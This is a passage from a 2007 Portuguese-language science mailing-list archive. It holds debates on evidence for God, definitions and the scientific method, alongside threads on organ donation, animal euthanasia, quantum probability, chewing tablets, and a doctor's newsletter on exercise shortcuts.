FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/03/2007 17:36

Ferrari,
bem?
Nessa vc matou!
Não é preciso sentir ou admitir, basta definir antes de acreditar.
Já disse aquí: não sou ateu e o Deus dos padrecos não existe...
As definições são pessoais... e não esperemos inteligência e honestidade
puras de todos.
As definições científicas podem até resvalar e se mesclar ( inspirar?) na
filosofia. PQ não?
Daquí a pouco dirão que o tema não ''é do escopo da lista.''
abraço. Murilo SP 25/març07


>From: Ferrari <emailferrari@yahoo.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Um dos problemas da evidencia de deus são dois
>Date: Sun, 25 Mar 2007 10:18:28 -0300 (ART)
>
>Olá Jeff! Olá lista!
>
>Jeff: [ Cientistas sérios e sensatos não devem dar
>atenção pra quem diz que tal coisa existe sem ter
>evidências, não concorda? ]
>
>A dificuldade em se demonstrar a tal "evidencia de
>deus" é muito simples: DEFINIÇÃO.
>
>Problema (1): Se vc não DEFINE o que é deus, como
>posso lhe dar um evidencia?
>
>Vamos pegar o exemplo do papai-noel que o Homero vive
>usando pra dizer que "não existe" e que o José Renato
>observou tão bem "que existe". Porque eles divergem?
>
>Divergem porque possuem "definições diferentes" de
>papai-noel. O fato das crianças ganharem presentes,
>pro José Renato é uma evidencia do papai-noel, pois
>SATISFAZ sua definição, já, pro Homero, o mesmo exato
>fato (as crianças ganharem presente) não é evidencia
>porra nenhuma, é papo furado, conversa anti-cientifca,
>pois a definição que o Homero tem de papai-noel é
>distinta da definição do José Renato, e ainda, o mesmo
>fato não SATISFAZ sua definição.
>
>Analogamente, é isto que acontece com a tal "evidencia
>de deus". O problema não está na evidencia, nunca
>esteve, nunca estará: o problema está na definição. Ou
>numa falta de definição, ou numa divergencia de
>definição, etc... Podem existir milhões de evidencias,
>fatos, mas se essas evidencias não SATISFIZEREM a
>DEFINIÇÃO do investigador de nada adiantar demonstrar.
>
>Entende? Faz sentido?
>
>Mas como resolver este problema? Simples: DEFININDO.
>Não é isto que a ciencia faz para se comunicar com
>eficiencia? Primeiro a ciencia define, o metro, o
>minuto, o litro, o mol, o atomo, o quantum, os cambau
>e o caralhoaquatro e só depois começa a conversar
>usando estas definições. Não é? Pois então, é preciso
>definir o que é deus também, pra poder falar a
>respeito. Hehehehehe... Mas é ai que a ciencia torce o
>rabo. Porque?
>
>Problema (2): Porque antes de definir o que é deus a
>ciencia tem que definir "o que é definir". Entende a
>robada em que a ciencia não quer se meter? Definir o
>que é definir é fazer metaciencia, é aplicar o método
>cientifico em que o aplica: no cientista. A ciencia
>materialista reluta em fazer isto, porque isto desloca
>o seu referencia fixo da materia (materialismo) para o
>tempo (possibilidade). Ou seja, assim a terra deixou
>de se ser o centro do universo um dia, aplicar o
>método cientifico em que o aplica (no cientista) faz
>com que a matéria deixe de ser o centro absoluto do
>universo e se torne relativo: relativo a observação
>
>Esta questão da "definição" é uma questão que aparece
>e reaparece com muitas semanticas diferentes. Por
>exemplo, "o que é medir?", "o que é observar?", "o que
>é conhecimento?", "o que é fazer ciencia?". Todas
>essas questões são a mesma questão, apenas com
>enfoques diferentes, apenas com semanticas diferentes.
>
>
>Ao meu ver, o "fazer ciencia", que é o que a maioria
>dos cientistas fazem, é apenas o ofício da ciencia, e
>está ligado a superficie da curiosidade cientifica.
>Esta superficie, serve para manter o "fazer ciencia"
>funcionando, contudo, não muda o "fazer ciencia",
>apenas o mantém operante. Por outro lado, a
>investigação "o que é fazer ciencia", é uma
>investigação cientifica que muda (transforma) a
>prática do "fazer ciencia", pois muda a base do "fazer
>ciencia".
>
>Einstein, por exemplo, consciente disto ou não, não
>"fez ciencia, ele investigou "o que é fazer ciencia".
>Por isto que ele foi capaz de mudar a base do "fazer
>ciencia". Para comprovar o que estou disendo, basta
>observar que Einstein postulou uma NOVA DEFINIÇÃO DE
>TEMPO. Ora, para redefinir o tempo Einstein precisou
>investigar porque o tempo era definido como era,
>quando sacou porque, percebeu algo que possibilitou
>uma redefinição. O que Einsteim percebeu? Percebeu a
>si mesmo: o observador.
>
>Concluindo, um dos problemas da evidencia de deus são
>dois: definição e definição da definição.
>
>
>sinceramente
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SUBJECT: EXISTE ATALHO PARA A BOA FORMA?
FROM: Alessandro Loiola <alessandroloiola@yahoo.com.br>
TO: alessandroloiola@yahoo.com.br
DATE: 25/03/2007 19:31

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DR. ALESSANDRO LOIOLA – SAÚDE PARA TODOS - 25/03/2007 - No.045

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© Dr. Alessandro Loiola - mailto: alessandroloiola@yahoo.com.br

Convide seus amigos para uma dose diária de saúde (assinar ou cancelar no final).

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Olá,

Segundo a Wikipédia, o “Reino Plantae é um dos principais grupos em que se divide a vida na Terra, possuindo cerca de 300.000 espécies conhecidas”. Curiosamente, uma das espécies deste reino vem se tornando mais comum a cada dia: o Homo sapiens-plantae.

Explico: como sempre ocorre semanalmente, recebi no consultório alguns exemplares de pessoas que querem entrar em forma rápido, ontem, assim ó, num estalar de dedos. A maioria desses projetos de atletas imediatistas tem sempre a mesma história: “...e eu não sei como engordo, doutor! Nem sou de ficar comendo muito!”.

Como trato também de pacientes graves internados em leitos de hospital que só se alimentam por tubos, eu descobri – incrível ! - que TODO mundo que não come o suficiente, perde peso. Testemunho este fenômeno diariamente. Pode parecer mentira, mas é verdade.

Assim, a única explicação que posso encontrar para essas pessoas que têm “tendência para engordar” porém “não são de comer”, é que elas estão ganhando peso através da... fotossíntese. Sim, fotossíntese. Elas não comem, só bebem água, e acionam seu metabolismo ao sol produzindo energia e gordura. São os Homo-sapiens-plantae.

Falando sério, não existe isso de “não comer e engordar”. Engorda quem come mais energias além do que gasta, e pronto. Ninguém tem tendência para engordar: tem é falta de vergonha para admitir que está se deixando levar pela gula, e não pela inteligência.

Feito o alerta, segue o conselho: SEMPRE é possível recuperar ou entrar em forma. Tudo que você precisa é de um pouco de força de vontade. Podem não existir atalhos, mas certamente existirá um caminho.

Nos vemos adiante!

Boa leitura,


Dr. Alessandro Loiola.

___________________________________________________________________


Existe atalho para a boa forma?

© Dr. Alessandro Loiola



A maioria das pessoas que pratica exercícios regularmente o faz por 4 razões: para perder peso, para parecer mais em forma, por recomendações médicas ou para conhecer aquela gata (ou gato) na esteira ao lado. Não é raro ver todos estes motivos misturados como um shake de baunilha com ovo maltine – afinal, nada como unir o útil ao agradável, certo?

E põe agradável nisso: pesquisas mostram que adolescentes que praticam regularmente alguma forma de atividade física dormem melhor, fumam e bebem menos, possuem uma auto-estima mais elevada, e têm mais sexo que seus colegas sedentários.

Periodicamente, toda essa propaganda a favor da boa forma resulta em um dos maiores fenômenos migratórios da humanidade: nos meses mais quentes do ano, manadas de retardatários arrependidos se deslocam rumo às academias em busca de milagres no curto prazo. Quem quer mostrar aquele abdome pneumático no clube no domingo ou ficar com 3 metros de língua para fora após atravessar a piscina no clássico estilo cachorrinho sincronizado? Ninguém. Então tome academia.

Mas quanto tempo você precisa para ter uma aparência mais saudável? Existe algum atalho para isso? Muitas empresas vêm mordiscando esse mercado bilionário – o das pessoas que querem entrar em forma no intervalo de uma pipoca de microondas. Livros, vídeos, revistas, comerciais e DVDs aos montes afirmam que bastam alguns poucos minutos de exercícios leves por dia naquela tábua de ginástica ou no equipamento super sofisticado de última geração para transformar você em um mister ou miss universo.

Qualquer exercício irá lhe deixar mais em forma que exercício nenhum, isso é verdade. O grande benefício da atividade física não está na estética, mas na prevenção de doenças como hipertensão, diabetes e obesidade.

Entretanto, exercícios excessivamente leves não produzem os resultados esperados. Caminhar duas vezes por semana na companhia de tartarugas não irá reduzir seu risco para doenças cardiovasculares. Apesar da intensidade do esforço variar de acordo com a idade, o peso e o estado geral de saúde, uma caminhada de respeito deve apresentar um ritmo entre 5 e 8 Km/h, com duração de 15 a 30 minutos, pelo menos 2-3 vezes na semana.

E o sujeito que diz nunca ter tempo e joga bola no final de semana achando que vai entrar em forma? Para alguns poucos atletas domingueiros, duas horas de pelada uma vez na semana de fato resultam em redução do risco de morte por doenças cardíacas. Porém, esta redução só é observada em indivíduos sem outros fatores de risco cardíaco e quando o gasto calórico total durante a atividade física ultrapassa 1.000 calorias ! Se você fuma ou está acima do peso, por exemplo, aqueles 30 minutos dominicais de bola não irão resultar em grandes benefícios para a saúde, mas poderão aumentar seu risco para lesões ósseas e musculares.

Muitos programas de “Exercícios-Minuto” costumam pular a fase aeróbica para ganhar tempo. O sujeito vai direto para os alteres, sem uma corrida ou caminhada antes. Infelizmente, uma rotina de exercícios que não inclui uma boa quantidade de atividades aeróbicas não pode ser considerada ótima – nem mesmo boa. São os exercícios aeróbicos – e não todos aqueles pesos coloridos - que oferecem os benefícios mais significativos.

Roteiros de malhação que prometem atalhos rápidos para resultados extraordinários freqüentemente são enganosos. Infelizmente, inúmeras pessoas esmagadas pelos padrões vigentes de beleza ainda se deixam levar por esse tipo de propaganda, com resultados desastrosos.

Preste sempre atenção. No comércio da saúde, muitos querem seu dinheiro, mas poucos querem compromisso com seu bem-estar no longo prazo. Informe-se sempre e siga em frente sem afobações: a natureza que resultou no ser humano que você é, levou vários milênios para lhe produzir. Para conquistar e preservar a boa forma, basta manter o mesmo ritmo da evolução. Contínuo e sem pressa.

---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de “Vida e Saúde da Criança” e “Crianças em forma: saúde na balança” (www.editoranatureza.com.br). Atualmente reside e clinica em Belo Horizonte, Minas Gerais.

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] tempo de vida útil de órgãos para doação
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/03/2007 19:32

Ok, minhas desculpas, já passou o xilique...

Sds,
Victor.

----- Original Message -----
From: Nando
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, March 25, 2007 1:02 PM
Subject: Re: [ciencialist] tempo de vida útil de órgãos para doação


Victor wrote:
> Victor: Um "carinha"!... Você se refere ao filho de alguém, de 19 anos. Sabe o que representa um filho,
> e o ônus emocional associado? Você é pai, já? Se não o for, espero
que quando o seja não passe por alguma
> situação em que o filho morre, ou fique em alguma situação de
irreversibilidade! Espero que você NUNCA tenha
> a necessidade de me retornar este e-mail, me contando sobre isso!

Putz cara, não era pra ofender ninguém, mas nunca nem vi o cara, então
não vejo motivo pra tratar ele como um amigo de infância ou algo assim...
Falei carinha do mesmo jeito que poderia ter dito rapaz, guri, rapazote,
ou sei lá oq... não por desrespeito. Por aqui (interior do RS) é normal
tratar as pessoas com esses termos...

Sobre a parte da religião, não vou me estender, cada um faz oq quiser e
acredita no que quiser, mas na hora que isso afeta diretamente a vida de
alguém (nesse caso, a vida dos potenciais receptores dos órgãos), o papo
é diferente... coisa parecida seria um filho de testemunha de jeová ser
impedido de receber uma doação de sangue devido à crença dos pais...

> Mas lí, recentemente, sobre uma criança inteiramente sem cérebro que continua vivendo,
> isto é, o corpo continua vivo.

Exato, mas pelo que achei na net, boa parte dos órgãos depois de algumas
horas deixa de ser doável... por isso a minha dúvida.

Não era minha intenção descrever o caso com deboche ou algo parecido,
peço desculpas caso tenha ofendido mais alguém, mas realmente acho que
você teve uma reação exagerada.

Abraço.




[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/03/2007 19:51

Álvaro

Por definição, ciência é o conhecimento que inclua, em qualquer forma ou medida, uma garantia da própria validade.

Não pode existir nenhum relacionamento entre as ciências, sempre apoiadas por evidências, com a religiosidade que é fruto dos mitos e tabus que dispensam quaisquer provas ou evidências de sua veracidade a não ser pela fé que é apenas a adesão intelectual a uma idéia transmitida.

sds.,

silvio
----- Original Message -----
From: Álvaro Antpack
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, March 21, 2007 8:35 PM
Subject: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - adinfinitum


Senhores,

se me permitem um pitaco, depois de muito tempo sem participar de discussões
da lista (4 anos?)...

Não sou religioso, mas não acredito que a ciência, por ser produto de nossas
mentes, possa decidir sobre existência ou não de um deus ou como quiserem
chamá-lo.

Era uma vez uma bactéria, que tinha ouvido falar de um ser grandioso, que
podia decidir seu futuro, se quisesse (ok, bactérias não conversam, nem
"ouvem falar", mas tenham paciência com minha analogiazinha caseira). Mas
não acreditava. Não tinha qualquer prova de sua existência. Vivia em seu
meio, entre outras bactérias, durante sua longa existência (algumas horas,
ou dias, sei lá), e nunca viu nenhuma prova da existência do tal "humano".

Essa bactéria vivia na meleca grudada num pêlo do nariz do Joãozinho, que
foi se lavar no banheiro e lá se foi a bactéria pelo ralo da pia. Ela nem
tomou conhecimento, foi parar no esgoto sem saber, onde acabou se
reproduzindo através de mitose (se dividiu no meio e digamos que "morreu").

A idéia do tal humano simplesmente não cabia em sua "cabeça".

Creio que podem, sim, existir coisas que não temos condições de compreender.
Coisas que podem ser muito maiores do que nós, e simplesmente não caber em
nossa cabeça. Tente imaginar o tão comentado Universo de 4, 10 ou 11
dimensões. Ok, a matemática explica e consegue tratar desse assunto, mas
quem garante que todos os assuntos podem ser tratados matematicamente e
fisicamente? Quem sabe podem existir "coisas" que não cabem na nossa cabeça,
nem na da matemática, nem na da física?

A ciência pode e deve questionar a existência de tudo que não tenha
evidência, mas não deve afirmar que tal e tal coisa não existe, só por falta
de evidências. A navalha de Occam pode ser útil, mas é só um princípio. E
será que é aplicável nesse assunto? Afinal, estamos aqui, discutindo. Viemos
de algum lugar. Ok, a vida surgiu a partir de reações químicas. E as reações
vieram de onde? E esse "onde" veio de onde? Simplesmente, por mais que
avancemos no sentido de entender nossas origens, provavelmente jamais
chegaremos à causa última de nossa existência.

Se viesse alguém nesta lista dizendo que deus não existe, deveria ser
igualmente questionado. Qualquer afirmação tomada por verdadeira supõe que
sua negativa é falsa. E em qualquer caso o cientista deve procurar
evidências, testar a tese e tentar fazer previsões com ela antes de
aceitá-la. Mas CADÊ A EVIDÊNCIA?

Em minha opinião, a melhor resposta de um cientista ou simpatizante, quando
questionado sobre a existência de deus, é a seguinte: "Nunca vi evidência da
existência nem da não-existência de deus, portando NÃO TENHO CONDIÇÕES DE
AFIRMAR SE EXISTE OU NÃO." E essa resposta delega a decisão somente à fé,
que em minha opinião nada tem que ver com ciência.

O problema é que com essa resposta não teríamos discussões interessantes
como essa que tenho acompanhado.

Abraço...

Álvaro

[As partes desta mensagem que não continham texto foram removidas]






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SUBJECT: Re: [ciencialist] Re: P/ Victor - Crueldade com animais
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>
DATE: 25/03/2007 21:20

Se alguém tiver o propósito de jamais matar qualquer ser vivo deve suicidar-se imediatamente.
Assim, vai inverter o propósito e servir de pasto para nédios vermes.

silvio
----- Original Message -----
From: Bruna Carolina Ribas
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, March 22, 2007 12:37 PM
Subject: Re: [ciencialist] Re: P/ Victor - Crueldade com animais


Grupos que se dizem em defesa dos animais e que defendem esse tipo de posição, na verdade esquecem, do maior direito dos animais; que é sua própria vida.

O principal motivo é evitar o cativeiro.Se o homem não tivesse criado zoológico, não existiria cativeiro.O que se deve atacar é o cerne da questão.

Matar é sempre um dano.
Seria antiético a eutanásia de uma animal saudável, como fazem com os animais de rua abandonados em grande parte dos municípios.

A compaixão não fica, nem sequer foi lembrada.

Da mesma forma, matar esse animal continuaria sendo uma crueldade.

Esse grupo de pessoas não falam por mim, Victor, não jogue ainda o bebê com a água do banho...

um abraço,
da Bruna

Victor <jvoneto@uol.com.br> escreveu: Murilo/Bruna,

Recentemente, a mídia mostrou o drama de um ursinho branco, lindo e dócil, que foi rejeitado pela mãe. Do ursinho... Pois bem, informam que o animal está sendo cuidado por humanos, no zoo, quanto às necessidades básicas, indispensáveis às crianças. Mas vêm os protetores de animais e se dizem preocupados e elencam um conjunto de motivos pelos quais o ursinho deva ser sacrificado! O ursinho deverá ser sacrificado!. Dentro do espírito do que está sendo defendido, de maneira denodada, em duas threads já bastante compridas, neste fórum, quais as respostas para as questões abaixo?

1 - Os motivos alegados justificam o "sacrifício"?
2 - Onde fica a ética, nesse caso?
3 - Onde fica a "campaixão" nesse caso" ( Lembrar que nem estamos numa tribo medieval, ou de costumes "diferentes").
4- Afinal, em considerando o fato ora posto a descoberto, como fica agora o conceito "Crueldade com os animais" ?

Então, o simples fato de acharem que o animalzinho terá dificuldades de se adaptar, que não poderá relacionar-se com outros animais da mesma espécie( o que é discutível, altamente discutível) é uma justificativa séria, ética e não cruel, segundo esses grupos !

E então?

Sds,
Victor.

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SUBJECT: Re: Sobre o Método Cientifico(Lógica 2)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/03/2007 22:10

--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
> Na mecânica quântica existe a possibilidade de uma
> mesma particula ocupar dois lugares distintos no mesmo
> instante t.

Essa possibilidade é traduzida em probabilidade de se encontrar uma
dada partícula em um ponto p1 ou em um ponto p2 - na prática nunca
iremos medir as partículas ao mm tempo em dois lugares distintos.

Isso se traduz em uma proporção de resultados no ponto p1 e ponto p2
qdo repetimos o experimento de medição várias vezes. Se a proporção
estiver em desacordo com a teoria, ela é falseada.

Por exemplo, se a MQ diz q o elétron pode estar tto na fenda 1 como na
fenda 2 no mm instante t com a mm probabilidade, isso se traduz q
deveremos encontrar o elétron cerca de 500 vezes na fenda 1 e outras
500 vezes na fenda 2, qdo o medimos 1.000 vezes. E mais do q isso,
poderemos encontrar o padrão de interferência no experimento da dupla
fenda.

[]s,

Roberto Takata



SUBJECT: Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/03/2007 22:20

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Sim, mas as palavras tem "muitos significados".

Exatamente por isso q NÃO devemos confundir os significados. Por
exemplo, besta pode ter o significado de 1 animal muar, 2 certa arma
medieval, 3 indivíduo ignorante (há outros significados).

Digamos q vc crie muares. Se fulano disser a vc: "como vai sua besta?"
Vc não pode confundir os significados 1, 2 e 3. Se vc tomar por 3 - a
despeito de não haver indicação de aposição pela vírgula - pode acabar
sentindo-se ofendido.

O fato das palavras poderem ser polissêmicas é motivo para
*acautelamento* em seus usos e não um sinal de q então qq significado
pode ser dado.

> Takata >>> Não convém ficar mudando o significado das
> palavras a torto e a direito.
>
> --- A grosso modo, concordo. Mas depende. Depende da
> intenção do comunicador. O comunicador habil manipula
> o significante justamente para mudar o significado
> padrão. Mas ele sabe o que está fazendo, é uma
> artimanha consciente de comunicação e que tem
> proposito definido.

Chamar a realidade material de deus-realidade não me parece q tenha um
propósito justificado.

> Takata >>> Conhecimento é o entendimento...
>
> --- E o que é entendimento?
>
> Takata >>> Conhecimento é o conjunto de informações...
>
> --- E o que é informação?

Vc apagou a minha definição de informação, mas reproduzo: "informação
é um dado q diminui o nosso grau de incerteza a respeito desse sistema".
http://br.groups.yahoo.com/group/ciencialist/message/61889

> Takata >>> Lamento, mas isso não mostra q seja apenas
> um mapa mental. No dia em q vc conseguir sobreviver
> apenas *pensando* em comida, acreditarei q é apenas um
> mapa mental.
>
> --- Não disse nada disso sobre comida e comer. E outra
> coisa muito importante aqui: NÃO ACREDITE EM MIM,
> NUNCA. Apenas considere. Só isto.

Então considere isto: se tudo fosse apenas mapa mental, comida tb
seria apenas mapa mental. Se comida fosse apenas mapa mental, então
poderíamos nos alimentar apenas *pensando* em comida.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: mastigar comprimidos
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/03/2007 22:52

Takata:
Há diversos tipos de comprimidos: uns revestidos, para serem dissolvidos só no duodeno. Se se mastigar um comprimido a digestão dele começará na boca e até chegar ao estômago já sofreu alterações. O correto, como qualquer ato ligado à medicina, é seguir as orientações domédico ou do farmacêutico.
Por exemplo: uso Isordil que deve ser colocado debaixo da língua para dissolver. se o mastigar, vai pro estômago e eu vou pro morgue.

sds.,

silvio
----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 23, 2007 12:33 AM
Subject: [ciencialist] Re: mastigar comprimidos


--- Em ciencialist@yahoogrupos.com.br, "Anderson -"
> Há algum tempo ouvi falar que mastigar os comprimidos antes de engolir
> faz com que eles tenham efeito mais rápido. É verdade isso? E se sim,
> por quê?

Pode ser q ocorra isso sim. Ao mastigar, aumenta-se a superfície de
contato do medicamento e do veículo com o ambiente aquoso - isso faz
com q se dissolva mais rapidamente e possa ser absorvido mais rapidamente.

Isso pode ser perigoso para vários casos. Todo medicamento de
administração oral é preparado para q atinja um certo nível de
concentração sanguínea ao longo do tempo. Se mastigado, pode ser q a
concentração fique muito alta rapidamente (causando efeitos colaterais
indesejados e perigosos). Além disso, pode ser eliminado mais
rapidamente, ficando o nível do medicamento mais baixo antes q uma
nova dose seja administrada.

[]s,

Roberto Takata






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Papai Noel: Sobre o Método Cientifico - adinfinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/03/2007 23:05

Fico grato, Ferrari, por me informar que todos os meus dois neurônios não
estão presos à semântica.
[]s
José Renato
.............................................

----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, March 22, 2007 4:14 PM
Subject: [ciencialist] Re: Papai Noel: Sobre o Método Cientifico -
adinfinitum


> José renato >>> Homero! Quando é que vc vai entender
> que o Papai Noel existe? As crianças sabem disso...
> Muitos adultos sabem disso... Afinal, quem é que lhes
> dá presentes no Natal? Vou repetir: o que não existe é
> o Papai Noel que vc imaginou quando criança.
>
> Ei homero, tá aqui um exemplo de inteligencia que não
> se prender a semantica.
>
> Parabéns JR!
>
>
> sinceramente
> papai noel
>
>
>
>
>
>
> --- José Renato <jrma@terra.com.br> escreveu:
>
>> Homero; [ Da mesma forma como "pode ser que exista"
>> Papai Noel, mas devido a
>> falta de evidências dessa existência justifica que
>> nos comportemos "como se
>> não existisse" Papai Noel, também podemos nos
>> comportar como se deus não
>> existisse, em especial em ciência ou fazendo
>> ciência. ]
>>
> ...........................................................
>>
>> Olá, Homero! Quando é que vc vai entender que o
>> Papai Noel existe? As
>> crianças sabem disso... Muitos adultos sabem
>> disso... Afinal, quem é que
>> lhes dá presentes no Natal?
>> Vou repetir: o que não existe é o Papai Noel que vc
>> imaginou quando criança.
>> O que existe são papais-noéis e mamães-noéis com a
>> cara do papai e da mamãe,
>> tios e tias-noéis, amigo-noel, esposo e
>> esposa-noéis... Esses existem e
>> fazem a festa dos comerciantes no Natal. Perceba que
>> o imaginado geralmente
>> não corresponde à realidade ou nem tem existência
>> física...
>> O que é preciso fazer é adequar o nome à pessoa ou
>> ao objeto da nossa
>> imaginação.
>> []s
>> José Renato
>> ................................
>>
>> From: "oraculo333" <oraculo@To:
>> <ciencialist@yahoogrupos.com.br>
>> Sent: Wednesday, March 21, 2007 9:43 PM
>> Subject: [ciencialist] P/ Alvaro - : Sobre o Método
>> Cientifico - adinfinitum
>>
>>
>> Olá Alvaro
>>
>> Alvaro: "Em minha opinião, a melhor resposta de um
>> cientista ou
>> simpatizante, quando questionado sobre a existência
>> de deus, é a
>> seguinte: "Nunca vi evidência da existência nem da
>> não-existência de
>> deus, portando NÃO TENHO CONDIÇÕES DE AFIRMAR SE
>> EXISTE OU NÃO.""
>>
>> Se tiver a bondade de reler as respostas que temos
>> postado ao Ferrari,
>> vai perceber que EM TODAS ELAS é justamente isso que
>> é defendido, que
>> não há evidências que suportem essa alegação de
>> existência..:-)
>>
>> Não temos evidências de existência de seres
>> sobrenaturais ou divinos.
>> Pode ser que existam? Tudo pode ser que exista, mas,
>> nem tudo tem a
>> mesma probabilidade de existir.
>>
>> Da mesma forma como "pode ser que exista" Papai
>> Noel, mas devido a
>> falta de evidências dessa existência justifica que
>> nos comportemos
>> "como se não existisse" Papai Noel, também podemos
>> nos comportar como
>> se deus não existisse, em especial em ciência ou
>> fazendo ciência.
>>
>> Note que são os que crêem na divindade de sua
>> preferência que afirma,
>> com todas as letras "saber" que ele existe, como
>> pensa, o que deseja,
>> etc. A ciência, e nós na lista, alegamos apenas que
>> não é uma
>> conclusão válida, baseada em evidências. Acredita
>> quem quer, seja em
>> deuses, seja no Papai Noel, ou em duendes.
>>
>> Como tentamos explicar ao Ferrari, a falta de
>> evidências que permita
>> uma explicação científica NÃO significa que se possa
>> adotar outra
>> explicação qualquer, igualmente sem evidências.
>>
>> Com certeza, Alvaro, muitas coisas podem existir sem
>> que "caibam em
>> nossa cabeça", mas justamente por isso é preciso
>> cuidado e rigor ao
>> analisar e concluir: como separar algo que não cabe
>> em nossa cabeça,
>> mas não existe, de algo que não cabe em nossa
>> cabeça, mas existe?
>>
>> Elementos e fenômenos que não apresentam evidências
>> de existir não
>> podem, nem devem, ser levados em consideração nas
>> escolhas, atos e
>> desdobramentos, por uma questão de racionalidade e
>> confiabilidade.
>>
>> Alvaro: "Qualquer afirmação tomada por verdadeira
>> supõe que sua
>> negativa é falsa."
>>
>> É uma regra de lógica que um argumento não pode ser
>> contraditório, ou
>> seja, não pode conter premissas ou conclusões
>> conflitantes. Mas isso
>> não significa o que parece pensar, pela frase acima.
>> Acreditar que
>> deus existe, claro, significa não acreditar que deus
>> NÃO existe, mas
>> não ver evidências dessa existência não é o mesmo
>> que acreditar que
>> deus não existe.
>>
>> É apenas ter como irrelevante essa existência, já
>> que não pode ser
>> detectada ou analisada (e, portanto, não se pode
>> decidir o que essa
>> entidade deseja ou pretende). Como disse o saudoso
>> Carl Sagan, qual a
>> diferença entre um dragão invisível que cospe fogo
>> frio e é
>> indetectável de toda forma conhecida, e NENHUM
>> dragão?
>>
>> Alvaro: "O problema é que com essa resposta não
>> teríamos discussões
>> interessantes como essa que tenho acompanhado."
>>
>> Está enganado, não é esse o problema, como as
>> mensagens anteriores
>> mostram. O problema é que esta resposta NÃO satisfaz
>> os que crêem, que
>> acreditam que existe uma divindade. Por isso
>> preferem opor sua crença
>> a uma pretensa "crença inversa", na inexistência de
>> divindades.
>>
>> Alvaro: "mas não acredito que a ciência, por ser
>> produto de nossas
>> mentes, possa decidir sobre existência ou não de um
>> deus ou como
>> quiserem chamá-lo."
>>
>> Não há essa pretensão, pela ciência, de provar que
>> deus não existe,
>> nem que existe. A própria definição de deus o coloca
>> fora do alcance e
>> escopo da ciência.
>>
>> Mas esta pode, e deve, analisar qualquer evidência
>> material, concreta,
>> que seja apresentada para demonstrar essa
>> existência. E pode concluir,
>> como tem concluído, que não há evidências a suportar
>> essa alegação.
>>
>> Um abraço.
>>
>> Homero
>>
>>
>> --- Em ciencialist@yahoogrupos.com.br, "Álvaro
>> Antpack"
>> <alvaro_antpack@...> escreveu
>> >
>> > Senhores,
>> >
>> > se me permitem um pitaco, depois de muito tempo
>> sem participar de
>> discussões
>> > da lista (4 anos?)...
>> >
>> > Não sou religioso, mas não acredito que a ciência,
>> por ser produto
>> de nossas
>> > mentes, possa decidir sobre existência ou não de
>> um deus ou como
>> quiserem
>> > chamá-lo.
>> >
>> > Era uma vez uma bactéria, que tinha ouvido falar
>> de um ser
>> grandioso, que
>> > podia decidir seu futuro, se quisesse (ok,
>> bactérias não conversam, nem
>> > "ouvem falar", mas tenham paciência com minha
>> analogiazinha
>> caseira). Mas
>> > não acreditava. Não tinha qualquer prova de sua
>> existência. Vivia em seu
>> > meio, entre outras bactérias, durante sua longa
>> existência (algumas
>> horas,
>> > ou dias, sei lá), e nunca viu nenhuma prova da
>> existência do tal
>> "humano".
>> >
>> > Essa bactéria vivia na meleca grudada num pêlo do
>> nariz do
>> Joãozinho, que
>> > foi se lavar no banheiro e lá se foi a bactéria
>> pelo ralo da pia.
>> Ela nem
>> > tomou conhecimento, foi parar no esgoto sem saber,
>> onde acabou se
>> > reproduzindo através de mitose (se dividiu no meio
>> e digamos que
>> "morreu").
>> >
>> > A idéia do tal humano simplesmente não cabia em
>> sua "cabeça".
>> >
>> > Creio que podem, sim, existir coisas que não temos
>> condições de
>> compreender.
>> > Coisas que podem ser muito maiores do que nós, e
>> simplesmente não
>> caber em
>> > nossa cabeça. Tente imaginar o tão comentado
>> Universo de 4, 10 ou 11
>> > dimensões. Ok, a matemática explica e consegue
>> tratar desse assunto, mas
>> > quem garante que todos os assuntos podem ser
>> tratados matematicamente e
>> > fisicamente? Quem sabe podem existir "coisas" que
>> não cabem na nossa
>> cabeça,
>> > nem na da matemática, nem na da física?
>> >
>> > A ciência pode e deve questionar a existência de
>> tudo que não tenha
>> > evidência, mas não deve afirmar que tal e tal
>> coisa não existe, só
>> por falta
>> > de evidências. A navalha de Occam pode ser útil,
>> mas é só um
>> princípio. E
>> > será que é aplicável nesse assunto? Afinal,
>> estamos aqui,
>> discutindo. Viemos
>> > de algum lugar. Ok, a vida surgiu a partir de
>> reações químicas. E as
>> reações
>> > vieram de onde? E esse "onde" veio de onde?
>> Simplesmente, por mais que
>> > avancemos no sentido de entender nossas origens,
>> provavelmente jamais
>> > chegaremos à causa última de nossa existência.
>> >
>> > Se viesse alguém nesta lista dizendo que deus não
>> existe, deveria ser
>> > igualmente questionado. Qualquer afirmação tomada
